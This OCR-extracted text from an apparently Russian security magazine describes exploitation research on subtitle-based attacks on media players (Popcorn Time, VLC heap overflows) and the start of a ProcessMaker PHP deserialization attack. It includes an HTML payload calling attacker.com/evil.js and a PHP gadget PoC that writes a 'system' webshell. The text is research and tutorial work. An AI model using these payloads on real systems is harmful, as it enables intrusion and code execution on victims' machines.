Ис поль зуя  HTML‐тег  ,  мы  смог ли  помес тить  точ ную  копию  это го  бан‐ 
нера  в  цен тре  экра на.  Обрамле ние  это го  кода  тегом    поз волило
сде лать  так,  что  при  нажатии  кноп ки  «Зак рыть»  WebKit  перенап равлял ся
на нашу стра ницу с неочи щен ным кодом.

<img>
<a  href>

00:00:01,000 –> 00:01:00,000
<a href="http://attacker.com/evil.js"><img src="http://attacker.com/
support.jpg"></a>

Это точ но та же стра ница, что и evil.js, которая исполь зует ся в ата ке на Pop‐
corn Time. На ней Node.js исполь зует ся для выпол нения кода на машине жер‐ 
твы.

VLC

Как  толь ко  мы  осоз нали  потен циаль ные  катас тро фичес кие  пос ледс твия
исполь зования  суб титров  в  качес тве  век тора  атак,  наша  сле дующая  цель
была  оче вид ной.  У  VLC  более  180  мил лионов  поль зовате лей,  это  один
из самых популяр ных меди апле еров в мире.

Этот  перено симый  кросс‐плат формен ный  меди апле ер  /  сер вер  потоко‐ 
вого  муль тимедиа  с  откры тым  кодом,  он  дос тупен  бук валь но  на  всех  плат‐ 
формах:  Windows,  macOS,  Linux,  Windows  Phone,  Android,  Tizen  и  iOS.  Пос‐ 
коль ку сами авто ры опи сыва ют его как «очень популяр ное, но доволь но гро‐ 
моз дкое и слож ное ПО», мы были уве рены, что и в нем тоже есть уяз вимос ти,
свя зан ные с суб титра ми.

Прог рам мная архи тек тура

VLC  в  дей стви тель нос ти  пред став ляет  собой  закон ченную  инфраструк туру
обра бот ки медиа  (как   или  ),  в  которой мож но динами‐ 
чес ки  заг ружать  и  под клю чать  мно жес тво  модулей.  Ядро  инфраструк туры
под держи вает  эти  под клю чения  и  обес печива ет  обра бот ку  муль тимедиа
от вво да (фай лы, сетевые потоки) до вывода (аудио или видео, на экран или в
сеть).  Боль шая  часть  работы  на  каж дом  эта пе  выпол няет ся  с  помощью
модулей  (раз личные  ,  ,  филь тры  и  воз можнос ти
вывода).  Ниже  при водит ся  схе ма,  которая  опи сыва ет  глав ные  воз можнос ти
модулей, под клю чаемых к VLC.

DirectShow GStreamer

де муль тип лексо ры де коде ры

Мо дули VLC

Суб титры

В мире фор матов  суб титров  тоже  царит  хаос,  и  нам  это  на  руку.  Во  вре мя
иссле дова ния мы обна ружи ли более 25 (!) таких фор матов. Эти фай лы быва‐ 
ют  дво ичны ми  или  тек сто выми,  и  толь ко  еди ницы  из  них  хорошо  докумен‐ 
тирова ны.

Из вес тно,  что SRT под держи вает огра ничен ный набор  тегов и атри бутов
HTML,  но мы были весь ма  удив лены,  узнав о дру гих  экзо тичес ких фун кци ях,
пред лага емых раз личны ми фор матами. Нап ример, суб титры в 
поз воля ют  исполь зовать  встро енные  изоб ражения. Фор мат    под держи‐ 
вает  опре деле ние  нес коль ких  тем  и  сти лей,  к  которым  затем  обра щает ся
из  каж дой  стро ки  суб титров.  Фор мат    вооб ще  поз воля ет  встра ивать
бинар ные шриф ты. Этот спи сок мож но про дол жать очень дол го. Обыч но биб‐ 
лиотек  для  син такси чес кого  ана лиза  всех  этих  фор матов  поп росту  нет.
Решени ем  этой  задачи  каж дый  раз работ чик  занима ется  самос тоятель но,
и проб лемы не зас тавля ют себя ждать.

фор мате SAMI
SSA

ASS

Вер немся к VLC

VLC про водит син такси чес кий ана лиз тек сто вых суб титров в демуль тип лексо‐ 
ре  под  наз вани ем  .  Ниже  на  рисун ке  при водят ся  все  под держи‐ 
ваемые прог раммой фор маты и фун кции для их син такси чес кого ана лиза.

subtitle.c

subtitle.c

Единс твен ная  задача  демуль тип лексо ров  —  про ана лизи ровать  условные
обоз начения тай мин га в каж дом из фор матов и нап равить суб титр в нуж ный
декодер.  Кро ме  SSA  и  ASS,  которые  декоди руют ся 

,  все  осталь ные  фор маты  обра баты вают ся  собс твен ным  декоде ром
VLC —  . Он про изво дит син такси чес кий ана лиз тек сто вого поля каж‐ 
дого суб титра и соз дает две его вер сии. Пер вая вер сия — это обыч ный текст,
очи щен ный от тегов, атри бутов и сти лей. Он исполь зует ся в слу чае неудач ной
обра бот ки  (рен дерин га)  суб титров.  Вто рая,  более  фун кци ональ ная  вер сия
называ ется  HTMLsubtitle.  HTML‐суб титры  содер жат  все  декора тив ные  сти‐ 
левые атри буты — шриф ты, вырав нивание и про чее. Пос ле декоди ров ки суб‐ 
титры  отправ ляют ся  на  финаль ную  ста дию  обра бот ки  —  рен деринг.  Рен‐ 
деринг тек ста в основном выпол няет ся с помощью биб лиоте ки  . Вот
в  целом  весь  про цесс  работы  с  суб титра ми  от  их  заг рузки  до  вывода
на экран.

от кры той  биб лиоте кой
libass

subsdec.c

freetype

Продолжение статьи →
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Ищем баги
При изу чении кода VLC, отно сяще гося к суб титрам, мы сра зу обра тили вни‐ 
мание на то, что боль шая часть син такси чес кого ана лиза ведет ся с исполь‐ 
зовани ем  обыч ных  ука зате лей,  а  не  встро енных  стро ковых фун кций.  Это  не
очень  хорошая  идея.  Нап ример,  при  счи тыва нии  воз можных  атри бутов  тега

  ( ,  ,  )  в  некото рых  слу чаях  VLC  не  уда ется  про верить
конец  стро ки.  Декодер  будет  про дол жать  счи тыва ние  из  буфера  до  нахож‐ 
дения сим вола  , про пус кая все нуль‐тер минато ры (CVE‐2017‐8310).

font family size color

>

subsdec.c

Фаз зинг
Мы  так же  про вели фаз зинг  VLC,  что бы  най ти  уяз вимос ти,  свя зан ные  с  тес‐ 
тирова нием.  Для  это го  мы  выб рали  наилуч шее  ору жие  —  .  Эта  прог‐ 
рамма‐тес тиров щик,  ори енти рован ная  на  информа цион ную  безопас ность,
исполь зует  инс тру мен ты  обра бот ки  во  вре мя  ком пиляции  и  генети чес кие
алго рит мы для обна руже ния новых внут ренних сос тояний и про вока ций пог‐ 
ранич ных слу чаев в выб ранном бинар ном фай ле.

AFL

AFL  уже  обна ружил  ,  поэто му
при наличии хорошей базы дан ных он спо собен соз давать очень инте рес ные
тес товые слу чаи за срав нитель но корот кое вре мя.

бес счет ное  количес тво  прог рам мных  багов

В  качес тве  осно вы  мы  заг рузили  и  перепи сали  нес коль ко  фай лов  суб‐ 
титров с раз ной фун кци ональ ностью в раз ных фор матах. Во избе жание рен‐ 
дерин га и отоб ражения видео (у нашего фаз зинг‐сер вера не было гра фичес‐ 
кого  интерфей са)  мы  исполь зовали  фун кцию  тран ско диро вания  для  кон‐ 
верта ции  корот кого  виде офиль ма,  содер жащего  толь ко  чер ный  экран,
из  одно го  кодека  в  дру гой.  Для  запус ка  AFL  мы  исполь зовали  сле дующую
коман ду:

./afl‐fuzz –t 600000 –m 2048 –i input/ ‐o output/ –S "fuzzer$(date +%
s)" ‐x subtitles.dict — ~/sources/vlc‐2.2‐afl/bin/vlc‐static –q –I 
dummy –subfile
@@ ‐sout='#transcode{vcodec="x264",soverlay="true"}:standard{
access="file",mux="avi",dst="/dev/null"}' ./input.mp4 vlc://quit

Жер тва
AFL  ско ро  обна ружил  уяз вимую  фун кцию —  ParseJSS.  JSS  рас шифро выва‐ 
ется  как  JACO  Sub  Scripts.  JACOsub —  это  очень  гиб кий  фор мат,  поз воля‐ 
ющий манипу лиро вать тай мин гом (нап ример, делать сдви ги), внед рять внеш‐ 
ние фай лы JACOsub, засекать дли тель ность пауз и выпол нять мно гие дру гие
опе рации. Пол ное опи сание ты най дешь в его   .спе цифи кации

Скрипт  JACO  активно  исполь зует  дирек тивы.  Дирек тива  —  это  серия
соеди нен ных  в  одну  стро ку  кодов  сим волов. Они опре деля ют  позицию суб‐ 
титра, шрифт, стиль, цвет и так далее. Дирек тивы вли яют толь ко на один суб‐ 
титр, к началу которо го они добав лены. Сбой, обна ружен ный AFL, был выз ван
чте нием  за  пре дела ми  поля  при  попыт ке  про пус тить  непод держи ваемые
дирек тивы (эта фун кция не была внед рена до кон ца) — CVE‐2017‐8313.

Subtitle.c, CVE‐2017‐8313

В  том  слу чае,  если  дирек тива  записа на  без  пос леду ющих  про белов,  цикл
while  про пус тит  нулевой  байт,  завер шающий    при  перег рузке
буфера. Здесь и в дру гих мес тах  кода   — это  ука затель на стро ку,
завер шающуюся нулевым бай том, обна ружен ную в динами чес ки рас пре деля‐ 
емой памяти.

psz_text
psz_text

Это  прив лекло  наше  вни мание  к фун кции ParseJSS,  и  в  ско ром  вре мени
мы наш ли еще две проб лемы с чте нием за пре дела ми поля при син такси чес‐ 
ком  ана лизе  дру гих  дирек тив.  На  этот  раз  уяз вимость  обна ружи лась  в  син‐ 
такси чес ком ана лизе дирек тив сдви га (слу чай  ) и вре мени (слу чай  ). Проб‐ 
лема  воз никала  из‐за  того,  что  зна чение    мог ло  быть  боль ше  дли ны

 (CVE‐2017‐8312).
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Этих  уяз вимос тей  VLC,  поз воляв ших  зло умыш ленни кам  выз вать  сбой
в  работе  прог раммы,  для  нас  ока залось  недос таточ но.  Мы  стре мились
добить ся исполне ния кода, и для это го нам была нуж на уяз вимость, которая
поз волила  бы  хакеру  записать  дан ные.  Мы  про дол жили  изу чать  фун кцию
ParseJSS, а так же поис кали дру гие дирек тивы.

Ди рек тивы    (цвет)  и    (шрифт)  дали  нам  более  мощ ные  эле мен тарные
про цеду ры.  Бла года ря  оши боч ному  двой ному  при раще нию мы  смог ли  про‐ 
пус тить  огра ничи вающий  нулевой  байт  и  про извести  запись  за  пре дела ми
буфера. Такое перепол нение динами чес кой памяти поз волило нам в  конеч‐ 
ном ито ге выпол нить про изволь ный код (CVE‐2017‐8311).
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В дру гом слу чае VLC намерен но про пус кает нулевой байт (стро ка 1883).

Это  поведе ние  так же  при водит  к  перепол нению  буфера  динами чес кой
памяти.

Экс плу ата ция уяз вимос ти
VLC под держи вает мно жес тво плат форм — опе раци онных сис тем и аппа рат‐ 
ных  архи тек тур.  У  каж дой  плат формы  могут  быть  раз ные  харак терис тики
и  осо бен ности  при мене ния  динами чес ки  рас пре деля емой  памяти,  которые
пов лияют  на  экс плу ата цию  уяз вимос ти.  И  раз меры  ука зате лей,  и  кеширо‐ 
вание — все име ет зна чение.

В  нашем  PoC  мы  решили  экс плу ати ровать  уяз вимос ти  на  Ubuntu  16.04
x86_64. Как показы вает прак тика работы с этой плат формой, усло вия нашей
про вер ки соот ветс тву ют реаль нос ти. Опен сор сное при мене ние динами чес ки
рас пре деля емой памяти поз воля ет нам объ яснить и деталь но изу чить эта пы
экс плу ата ции уяз вимос ти.

Тех ник  экс плу ата ции  уяз вимос тей  ,  которые  сох ранили
эффектив ность  до  нас тояще го  вре мени,  мало.  Одна ко  усло вия,  в  которых
про явля ется эта уяз вимость, не дали нам при менить ни один из этих методов.
Единс твен ное, что мы мог ли, — это исполь зовать уяз вимость эле мен тарной
про цеду ры  write,  что бы  переза писать  некото рые  прик ладные  дан ные.  Эти
переза писан ные  дан ные,  в  свою  оче редь,  поз волят  либо  вый ти  на  более
силь ные  эле мен тарные про цеду ры  (write what where),  либо получить  пол ный
кон троль над выпол нени ем кода.

GLibC‐malloc

VLC  —  при ложе ние  с  боль шим  количес твом  потоков.  На  фоне  исполь‐ 
зования  динами чес ки  рас пре деля емой  памяти  это  озна чает,  что  на  каж дый
поток при ходит ся свой учас ток памяти и, зна чит, чис ло объ ектов, которые мы
можем  переза писать,  огра ничен но.  Это  будут  толь ко  те  объ екты,  которые
обна ружат ся в потоке, управля ющем суб титра ми. Кро ме того, мы с боль шей
веро ятностью смо жем выз вать перепол нение того объ екта, который находит‐ 
ся рядом с кодом, исполь зуемым для обра щения к уяз вимос ти (или для при‐ 
мене ния тех нологии   — об этом мы рас ска жем поз днее).Feng Shui

Код, запущен ный с момен та соз дания нашего потока, и уяз вимая фун кция
име ют не очень боль шую дли ну. Мы начали вруч ную искать объ екты, которые
мог ли бы нам при годить ся. Обна ружи ли два —    и  .
Кро ме того, авто мати чес ки отсле живая каж дый обна ружен ный в динами чес ки
рас пре деля емой  памяти  объ ект,  мы  наш ли  ,    и  нес‐ 
коль ко Qt‐объ ектов, содер жащих вир туаль ные таб лицы. Методом исклю чения
мы выб рали в качес тве жер твы объ ект  .

demux_sys_t variable_t

link_map es_out_id_t

variable_t

Струк тура variable_t

Он исполь зует ся для хра нения перемен ных типов дан ных внут ри при ложе ния
VLC, вклю чая кон фигура цион ные зна чения модуля и опции коман дной стро ки.
Таких  дан ных  внут ри  при ложе ния  очень  мно го,  что  уве личи ло  наши  шан сы
на  успешную  манипу ляцию  динами чес ки  рас пре деля емой  памятью
для получе ния сво бод ного сло та перед одним из таких объ ектов. В струк туре
объ екта   есть поле  , где содер жится ука затель на ука зате ли
фун кций,  которые  управля ют  зна чени ем  перемен ной.  Кон троль  это го  поля
поз воля ет зло умыш ленни ку кон тро лиро вать всю прог рамму. Дру гие объ екты
не под давались экс плу ата ции или выс тавля ли слиш ком мно го огра ниче ний.

variable_t p_ops

Пос ле  выбора объ екта‐жер твы  нам нуж но было помес тить  суб титр  JACO
Sub  Script  (JSS)  перед  ним.  Этот  про цесс  манипу ляции  динами чес кой
памятью для получе ния пред ска зуемо го и полез ного сос тояния в динами чес‐ 
ки рас пре деля емой памяти получил наз вание Heap Feng Shui  (или Heap‐Fu,
или  Grooming).  На  этот  раз  нам  очень  повез ло.  По  чис той  слу чай нос ти  мы
обна ружи ли  «дыру»  непос редс твен но  перед  объ ектом‐жер твой  — 

 для  .
vari‐

able_t sub‐fps

Рас положе ние памяти перед variable_t

Хоть  нам  и  не  приш лось  исполь зовать  дру гие  методы  для  фор мирова ния
динами чес кой памяти, мы обна ружи ли очень мно гообе щающий и инте рес ный
поток кода, который мог бы при годить ся для более тон кой прог рам мной нас‐ 
трой ки.

При откры тии суб титров VLC не зна ет, какой модуль исполь зовать для син‐ 
такси чес кого ана лиза нового фай ла. Архи тек тура VLC сос тоит из мно жес тва
модулей, поэто му при пар синге фай ла прог рамма обра щает ся ко всем сво им
биб лиоте кам, заг ружа ет их и про веря ет, могут ли они про ана лизи ровать дан‐ 
ный поток (в дан ном слу чае файл).

Уяз вимый код находит ся в модуле суб титров — но это не пер вый из заг‐ 
ружа емых  модулей.  Дву мя  модуля ми  ранее  при ложе ние  запус кает  VobSub
и про веря ет,  выпол нены ли суб титры в  этом фор мате. Мы можем зас тавить
этот  модуль  счи тать  наш  файл  фай лом  VobSub,  помес тив  вол шебную  кон‐ 
стан ту VobSub в пер вую стро ку.

Пос ле это го модуль прис тупа ет к син такси чес кому ана лизу фай ла, выпол‐ 
няя  раз личные  рас пре деле ния  и  переме щения.  Этот  код  запус кает ся
до выделе ния объ екта‐жер твы. Таким обра зом, безобид ный перевод чик Vob‐
Sub/JSS может исполь зовать ся для ата ки по тех нологии Feng Shui.

Эта  уяз вимость  поз волила  нам  линей но  пере опре делить  дан ные  пос ле
выделен ной стро ки суб титров. Серь езная проб лема воз никла из‐за того, что
пер вое  поле  в  струк туре  объ екта  ,    дол жно  было  быть
ука зате лем на стро ку.

variable_t psz_name

В жиз ненном цик ле VLC этот ука затель нес коль ко раз разыме новы вает ся.
Пос коль ку фун кция ParseJSS копиру ет стро ки, мы не можем записать нулевые
бай ты, которы ми явля ются пер вые два бай та любого дей ству юще го ука зате‐ 
ля. Таким обра зом, мы не можем записать дей ству ющие ука зате ли и потому
не можем прос то так перепол нить струк туру  .variable_t

Что бы решить эту проб лему, приш лось обра тить ся к метадан ным динами‐ 
чес кой памяти. Мы исполь зовали слож ную серию пос ледова тель нос тей типа
«рас пре деле ние —  перепол нение —  перерас пре деле ние»  и  с  их  помощью
переза писа ли метадан ные о раз мере фраг ментов прог рам мно го  кода  (а‐ля
ата ка  « »  2014  года).  Это  поз волило  нам  переза‐ 
писать поле   в струк туре  , не зат рагивая поля  .

от равлен ный  нулевой  байт
p_ops variable_t psz_name

На этом эта пе мы стол кну лись с веч ным воп росом: что же нам записать?
Поле   исполь зует ся фун кци ей   при зак рытии VLC. Код вызыва ет
фун кцию   в мас сиве, на который это поле ука зыва ет, а его зна чение
перехо дит в нее как параметр.

p_ops Destroy
pf_free

Итак,  нам  необ ходимо  пос тавить  ука затель  на  ука затель  на  наш  пер вый
гад жет  (при чем  на  16  бай тов  рань ше).  Глав ной  проб лемой  оста ется  ASLR
(слу чай ное  раз мещение  схем  адресно го  прос транс тва).  Мы  не  зна ем,  где
и что находит ся. Доб ро пожало вать в адский мир экс плу ата ции уяз вимос тей
без исполь зования скрип тов!

Один  из  спо собов  решения  этой  проб лемы  —  час тичная  переза пись.
Исходный  ука затель  ука зыва ет  на  мас сив    в  биб лиоте ке

. Мы можем час тично переза писать это зна чение, что бы оно ука‐ 
зыва ло на дру гое мес то в этой биб лиоте ке.

float_opsstatic
libvlccore

Дру гой  хороший  вари ант — нап равить  этот  ука затель  на  глав ный бинар‐ 
ный  файл,  который  в  Ubuntu  не  под верга ется  ран домиза ции.  В  глав ном
бинар ном фай ле мы обна ружи ли нес коль ко очень инте рес ных гад жетов. Нап‐ 
ример, гад жет, который вызыва ет коман ду  , а затем помеща ет резуль‐ 
тат  ее  работы  в  дру гом  регис тре  в  качес тве  пер вого  аргу мен та  (в  коде
это выг лядит так:  ).

dlysm

dlsym(‐1, $rsi)($rbx)
Тре тий  спо соб  решения  этой  проб лемы  —  соз дание  час тичной  копии.

Пос коль ку  наша  уяз вимость  копиру ется  за  пре дела ми  гра ницы  фраг мента
кода, мы можем воз дей ство вать на динами чес кую память так, что бы впи сать
в фраг мент голов ной ука затель, а затем час тично его копиро вать.

Хо тя все эти вари анты выг лядят мно гообе щающи ми, мы от них отка зались.
Экс плу ата ция  уяз вимос тей  соп ряжена  со  мно жес твом  труд ностей,  и  иссле‐ 
довать  все  вари анты  ради  соз дания  одной  демонс тра ции  слиш ком  слож но.
Вмес то это го мы отклю чили ASLR и пос тавили ука затель на нашу динами чес‐ 
кую память.

Ад рес учас тка памяти нем ного изме нил ся, ско рее все го из‐за поведе ния
потока,  но мы смог ли опре делить  этот  адрес с дос таточ ной ста тис тичес кой
точ ностью. Сле дующий воп рос: на какое мес то внут ри это го учас тка мы дол‐ 
жны ука зать? VLC счи тыва ет файл с суб титра ми пос троч но и копиру ет каж дую
стро ку  в  отдель ный  фраг мент  динами чес кой  памяти.  Низ коуров невый
механизм  счи тыва ния  строк  уста нав лива ет  искусс твен ное  огра ниче ние
на раз мер стро ки в 204 800 байт.

Мы помес тили дан ные в самую длин ную из воз можных строк и опре дели ли
ее  мес тонахож дение  ста тис тичес ки.  Затем  соз дали    на  осно ве
ROP‐цепочек  и  помес тили  в  начале  хорошую  длин ную  пос ледова тель ность
про белов. Затем мы при мер но при вяза ли поле   к этой пос ледова тель‐ 
нос ти  с  помощью  ука зате ля  и  запус тили  VLC  с  нашим  фай лом  суб титров.
О чудо — на экра не появил ся каль кулятор GNOME Calculator!

libvlccore

p_ops

В ЗАКЛЮЧЕНИЕ
Мы  показа ли,  как  раз ные  уяз вимос ти  могут  быть  исполь зованы  для  взло ма
популяр ных  стри мин говых  плат форм  и  взло ма  ПК  жертв.  Эти  уяз вимос ти
варь иру ются от прос тых XSS до логичес ких прог рам мных оши бок и наруше‐ 
ний целос тнос ти дан ных в памяти.

Чрез вычай но популяр ные, эти меди апле еры (и, по нашему мне нию, дру гие
меди апле еры тоже) пре дос тавля ют широкий прос тор для атак, которые могут
зат ронуть сот ни мил лионов поль зовате лей. Глав ный урок здесь зак люча ется
в  том,  что  зло умыш ленни ки,  стре мящи еся  про ник нуть  в  сис тему,  могут
исполь зовать  для  это го  те  области,  которым  уде ляет ся  мало  вни мания
и которые кажут ся безобид ными.

http://lcamtuf.coredump.cx/afl/
http://lcamtuf.coredump.cx/afl/#bugs
http://unicorn.us.com/jacosub/jscripts.html
http://git.videolan.org/?p=vlc/vlc-2.2.git;a=blob;f=src/misc/variables.h;h=8c203b686749226e31d9b918942d428cf84b688e;hb=6259d80d343c4307b29603b2d88c081c57d68564#l73
https://googleprojectzero.blogspot.ru/2014/08/the-poisoned-nul-byte-2014-edition.html
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ВЗЛОМ

ProcessMaker 3 — это популяр ная сис тема управле ния биз‐ 
нес‐про цес сами,  которая исполь зует ся  в  круп ных  ком пани‐ 
ях.  Воз можность  несан кци они рован ного  дос тупа  к  ней
может  обер нуть ся  боль шими  проб лемами,  тем  более  что
зах ватить  мож но  не  толь ко  базу  дан ных,  но  и  сер вер,
на  котором сто ит ProcessMaker. Сей час я рас ска жу,  как это
сде лать,  а  заод но  это  пос лужит  показа тель ным  при мером
поис ка уяз вимос тей в коде на PHP.

Па ра слов о ProcessMaker

Итак,   — это откры тая сис тема управле ния биз нес‐про цес сами
(BPM — Business  Process Management)  и  рабочим  потоком.  У  нее  есть  две
вер сии:  облачная  (Cloud  Edition)  и  самос тоятель ное  при ложе ние.  Вто рая,
в свою оче редь, делит ся на Enterprise и open source (Community Edition). Вот
они нас как раз и инте ресу ют.

ProcessMaker

Са ма сис тема работа ет на сте ке тех нологий LAMP/WAMP (Linux/Windows,
Apache,  MySQL,  PHP)  и  име ет  откры тый  исходный  код.  Я  буду  тес тировать
опен сор сную вер сию, но пос коль ку ядро во всех редак циях прак тичес ки оди‐ 
нако во, то все это дол жно работать и в вер сии Enterprise.

Ма тери ал  адpесо ван  спе циалис там  по  безопас‐ 

ности  и  тем,  кто  собираeтся  ими  стать.  Вся

информа ция  пре дос тавле на  исклю читель но

в озна коми тель ных целях. Ни редак ция, ни автор

не  несут  ответс твен ности  за  любой  воз можный

вред, при чинен ный матери ала ми дан ной статьи.

Стенд

Как обыч но, в качес тве осно вания для тес тового стен да я буду исполь зовать
Docker. Но если не хочешь замора чивать ся, а основная опе раци онка у  тебя
Windows,  то мож но этим и обой тись. В Windows  уста нов ка сво дит ся  к прос‐ 
тому запус ку  .exe и кла цанью по кно поч ке Next. Ска чать подопыт ную вер сию
мож но  .здесь

Ес ли же ты решил идти по моему пути, то готовый докер‐файл всег да смо‐ 
жешь   из моего репози тория.ска чать

Пер вые баги

Ког да я ана лизи рую исходни ки, то пер вым делом ищу десери али зацию дан‐ 
ных. Если неч то подоб ное име ется, то надо смот реть, куда при ходят дан ные
и нет ли сре ди них юзер даты.

ProcessMaker написан на PHP,  зна чит, нам нуж но искать вызовы фун кций
.unserialize()

Най ден ные вызовы фун кции unserialize

Ре зуль таты  поис ка  показы вают,  что  раз работ чики  пита ют  теп лые  чувс тва
к этой фун кции. При бег лом прос мотре сра зу натыка емся на такой вот инте‐ 
рес ный файл:

/workflow/engine/methods/login/sysLoginVerify.php

26: if (array_key_exists("d", $_GET)) {
27:     $_POST = unserialize(base64_decode($_GET["d"]));
28: }

Здесь мы можем наб людать  замеча тель ный обра зец  уяз вимого  кода,  точ но
как из  учеб ника. Ата кующий может спо кой но манипу лиро вать парамет ром 
и тем самым кон тро лиро вать дан ные, которые прой дут десери али зацию. Кро‐ 
ме того, этот файл учас тву ет в про цес се аутен тифика ции и дос тупен любому
неав торизо ван ному поль зовате лю.

d

Для  успешной  экс плу ата ции  таких  уяз вимос тей  нуж но  най ти  под ходящие
гад жеты  или  их  цепоч ки.  Если  ты  не  понима ешь,  о  чем  идет  речь,  то  сле‐ 
дующий раз дел спе циаль но для тебя, а те, кто в кур се, могут его прос то про‐ 
пус тить.

Осо бен ности наци ональ ной сери али зации в PHP

Се риали зация — это перевод какой‐либо струк туры дан ных в пос ледова тель‐ 
ность битов, которую потом мож но при вес ти в началь ное сос тояние. Вос ста‐ 
нов ление  в  исходное  сос тояние  называ ется  десери али заци ей  или  струк‐ 
туриза цией.  При  этом  извле чение  любой  час ти  сери али зован ной  струк туры
дан ных  тре бует,  что бы  весь  объ ект  был  счи тан  от  начала  до  кон ца  и  вос‐ 
создан.

Та кие  фун кции  полез ны,  ког да  нуж но  сох ранить  сос тояние  каких‐либо
объ ектов для переда чи по сети или записи в файл или БД для пос леду юще го
исполь зования. Нап ример, это может быть текущее сос тояние авто ризо ван‐ 
ного поль зовате ля и его нас тро ек.

У каж дого язы ка прог рамми рова ния свой фор мат хра нения таких дан ных,
и PHP не исклю чение. Докумен тацию и кучу при меров ты без тру да най дешь
в интерне те, а здесь я кос нусь толь ко самых основных момен тов.

В общем слу чае фор мат сери али зован ных дан ных сле дующий:

<тип данных>:[:длина]:<значение>

Дли на  исполь зует ся,  толь ко  ког да  сери али зуют ся  объ екты  типа  string,  array
и class. 
Вот как это выг лядит на прак тике.

serialize-test.php

<?php
class Test {
   private $priv = 'priv‐prop';
   protected $prot = 'prot‐prop';
}
echo(serialize(new Test));

Ре зуль татом выпол нения скрип та будет стро ка

O:4:"Test":2:{s:10:"Testpriv";s:9:"priv‐prop";s:7:"*prot";s:9:
"prot‐prop";}

Фор мат сери али зован ных дан ных в слу чае клас са такой:

O:<длина_имени_класса>:"<имя_класса>":<количество_атрибутов>:{<
атрибуты>};

Об рати вни мание на блок  . Дли на атри бута 8 байт, одна ко
в стро ке ука зано имен но 10. Это свя зано с тем, что в про цес се сери али зации
учи тыва ются модифи като ры дос тупа. В начало наз ваний при ват ных атри бутов
добав ляет ся имя клас са, а в начало наз ваний защищен ных — звез дочка. Эти
добав ленные  зна чения  окру жают ся  нулевым  бай том  (0x00)  с  обе их  сто рон.
Hexdump поможет нам это уви деть.

s:10:"Testpriv"

Се риали зован ный класс с модифи като рами дос тупа атри бутов

Ес ли  в  клас се  объ явлен  метод  ,  то  пос ле  вос ста нов ления  он
будет выз ван (  в докумен тации PHP). А пос ле  того как не оста‐ 
нет ся  никаких  ссы лок  на  объ ект  (нап ример,  скрипт  закон чит  свое  выпол‐ 
нение), вызовет ся дес трук тор клас са  , если он име ется.

__wakeup()
под робнос ти

__destruct
К при меру, у нас есть вот такой учас ток кода:

gadget-vuln.php

class GadgetChain  {
   private $data = "iamtestdata";
   private $filename = "exploited";
   public function __wakeup(){
       $this‐>save($this‐>filename);
   }
   public function save($filename){
       file_put_contents($filename, $this‐>data);
   }
}
var_dump(unserialize(base64_decode($argv[1])));

Здесь  пос ле  вос ста нов ления  объ екта  выпол нится  метод  .  В  нем
вызыва ется  фун кция  ,  которая  записы вает  дан ные  из  атри бута 
в файл  . 
Для  экс плу ата ции  поп робу ем  скор мить  скрип ту  нуж ные  нам  имя  и  содер‐ 
жимое фай ла. Про ще все го это сде лать, вос создав струк туру объ екта.

__wakeup
save $data

$filename

gadget-poc.php

class GadgetChain  {
   private $data = "<?php system('ls');";
   private $filename = "owned.php";
}
echo(base64_encode(serialize(new GadgetChain)));

Ре зуль татом работы скрип та будет  стро ка,  которую нуж но передать  скрип ту
.gadget‐vuln.php

php gadget‐vuln.php "TzoxMToiR2FkZ2V0Q2hhaW4iOjI6e3M6MTc6IgBHYW
RnZXRDaGFpbgBkYXRhIjtzOjE5OiI8P3BocCBzeXN0ZW0oJ2xzJyk7IjtzOjIxO
iIAR2FkZ2V0Q2hhaW4AZmlsZW5hbWUiO3M6OToib3duZWQucGhwIjt9"

На выходе получим файл   с нуж ным нам кодом. Неболь шой экскурс
закон чен, можем воз вра щать ся к реаль ному про екту.

owned.php

По иск гад жетов

Сле дующий шаг — поиск магичес ких методов в исходни ках. Нас инте ресу ют
методы   и  . Напус каем grep на пап ку с исходни ками.__wakeup __destruct

grep ‐‐include='*.php' ‐nRHIi "__wakeup|__destruct" ./processmaker/

По иск магичес ких методов в ProcessMaker

Пос ле про вер ки резуль татов поис ка я нашел нес коль ко инте рес ных учас тков
кода.

/gulliver/thirdparty/creole/common/ConnectionCommon.php

032: abstract class ConnectionCommon {
033:
...
105:     public function __wakeup()
106:     {
107:         $this‐>connect($this‐>dsn, $this‐>flags);
108:     }

/vendor/luracast/restler/public/examples/_007_crud/DB/Serialized-

File.php

08: class DB_Serialized_File
...
24:     function __destruct ()
25:     {
26:         if ($this‐>modifed) {
27:             /** save data **/
28:             $content = "<?phpn";
29:             $content .= 'return ' . var_export($this‐>arr, TRUE) 
. ';';
30:             file_put_contents($this‐>file, $content);
31:         }
32:     }

/vendor/luracast/restler/vendor/Luracast/Restler/Restler.php

0025: class Restler extends EventDispatcher
0026: {
...
1307:     public function __destruct()
1308:     {
1309:         if ($this‐>productionMode && !$this‐>cached) {
1310:             $this‐>cache‐>set('routes', Routes::toArray());
1311:         }
1312:     }

Вто рой най ден ный кусок я сра зу отме таю, так как этот файл — прос то один
из  при меров  исполь зования  API‐фрей мвор ка  Restler  и  он  точ но  ниг де
не вызыва ется. А вот пер вый и тре тий — инте рес ные экзем пля ры.

Те перь нуж но опре делить, можем ли мы исполь зовать най ден ные клас сы
в  кон тек сте  уяз вимого  скрип та.  Не  все  они  исполь зуют ся  при  работе  при‐ 
ложе ния в нуж ный нам момент. И если класс не заг ружен, то пос ле десери‐ 
али зации ты получишь объ ект неоп ределен ного клас са 

. Разуме ется, экс плу ата ция в таком слу чае невоз можна.
__PHP_Incomplete_‐

Class
Что бы  най ти  клас сы,  которые  исполь зуют ся  в  дан ный  момент,  и  понять,

какие  из  них  име ют  инте ресу ющие  нас  магичес кие  методы,  я  внед ряю  вот
такой мини‐сниф фер:

foreach (get_declared_classes() as $value) {
   if(in_array("__destruct", get_class_methods($value))) {
       print($value."‐>__destruct".PHP_EOL);
   }
   if(in_array("__wakeup", get_class_methods($value))) {
       print($value."‐>__wakeup".PHP_EOL);
   }
}

Этот  кусочек  кода  выводит  информа цию  о  заг ружен ных  в  дан ный  момент
клас сах, которые име ют методы   и  .__wakeup __destruct

Ес тес твен но,  такой метод под ходит,  толь ко  если есть  дос туп  к  рабоче му
стен ду и воз можность редак тировать исходни ки.

До бав ляем сниф фер в уяз вимый файл.

Сниф фер для опре деле ния заг ружен ных клас сов

Так  как  сре ди  фун кций  уяз вимого  фай ла  есть  редирект,  то  я  добавил
еще фун кцию  ,  для  того  что бы  уви деть резуль таты работы скрип та. Если
тебя не устра ивают такие катего рич ные методы, то мож но прос то записы вать
резуль таты работы скрип та в файл через  .

die

file_put_contents

